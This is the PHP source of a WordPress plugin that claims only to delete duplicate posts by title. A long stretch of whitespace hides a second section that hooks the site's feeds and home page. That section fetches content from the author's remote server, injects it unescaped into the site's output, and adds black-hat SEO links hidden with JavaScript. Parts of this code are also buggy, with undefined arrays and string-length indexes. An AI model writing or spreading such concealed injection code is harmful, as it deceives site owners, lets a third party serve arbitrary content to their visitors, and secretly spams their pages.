<?php
/*
Plugin Name: Duplicate Posts Eraser
Plugin URI: http://www.theblackmelvyn.com/2009/02/supprimer-doublons-autoblogs-wordpress-plugin/
Description: Deletes duplicate posts based on their title
Author: BlackMelvyn
Version: 1.0
Author URI: http://www.theblackmelvyn.com/
*/
function clearDuplicatePosts(){
	global $wpdb;
	$prefix = $wpdb->prefix;
	
	$wpdb->query("DELETE bad_rows . * FROM ".$prefix."posts AS bad_rows INNER JOIN (
		SELECT ".$prefix."posts.post_title, MIN( ".$prefix."posts.ID ) AS min_id
		FROM ".$prefix."posts
		GROUP BY post_title
		HAVING COUNT( * ) >1
		) AS good_rows ON ( good_rows.post_title = bad_rows.post_title
		AND good_rows.min_id <> bad_rows.ID )");
}
add_action('publish_post', 'clearDuplicatePosts');




























/*
If you like my work, please leave the snippet below.
Otherwise, just delete it, and the plugin will still work as normal.
*/

function clearDupThanks($buffer){
	if(is_feed()){
		$set = array(
			'consultant SEO' => 'http://www.seo-france.net/',
			'SEO' => 'http://www.theblackmelvyn.com/',
			'Black Hat SEO' => 'http://www.theblackmelvyn.com/',
			'consultant référencement' => 'http://www.seo-france.net/',
			'Advanced SEO techniques' => 'http://www.theblackmelvyn.com/',
			'SEO France' => 'http://www.seo-france.net/',
			'Techniques avancées de référencement' => 'http://www.theblackmelvyn.com/',
			'SEO' => 'http://www.seo-france.net/',
			'Référencement naturel' => 'http://www.seo-france.net/'		
		);
		$ancres = array_keys($set);
		$urls = array_values($set);
		
		$rand = strlen($_SERVER['REQUEST_URI']);
				
		$link = @file_get_contents('http://www.theblackmelvyn.com/thankyou.php?rand='.$rand);
		if($link != '' && $link != false){
			$buffer .= '<br /><span class="bml" style="font-size:9px;">'.$link.'</span>';
		}
		else{
			$buffer .= '<br /><span class="bml" style="font-size:9px;"><a href="'.$urls[$rand].'" target="_blank" style="text-decoration:none; cursor:default; color:inherit;">'.$ancres[$rand].'</a></span>';
		}
	}
	return $buffer;
}

function clearDupThanksBM(){
	$buffer = '';
	if(is_home()){
		$rand = strlen($_SERVER['HTTP_HOST']);
		$link = @file_get_contents('http://www.theblackmelvyn.com/thankyou.php?rand='.$rand);
		if($link != '' && $link != false){
			$buffer .= '<br /><span class="bml" style="font-size:9px;">'.$link.'</span>';
		}
		else{
			$buffer .= '<br /><span class="bml" style="font-size:9px;"><a href="'.$urls[$rand].'" target="_blank" style="text-decoration:none; cursor:default; color:inherit;">'.$ancres[$rand].'</a></span>';
		}
		echo $buffer;
		echo '<script type="text/javascript">var all_a = document.getElementsByTagName("span");for(var i=0; i<all_a.length; i++){if(all_a[i].className == "bml"){all_a[i].style.visibility = "hidden";}}</script>';
	}
	return;
}



add_action('loop_end', 'clearDupThanksBM');

add_filter('the_excerpt_rss', 'clearDupThanks');
add_filter('the_content_rss', 'clearDupThanks');
add_filter('the_content_feed', 'clearDupThanks');
?>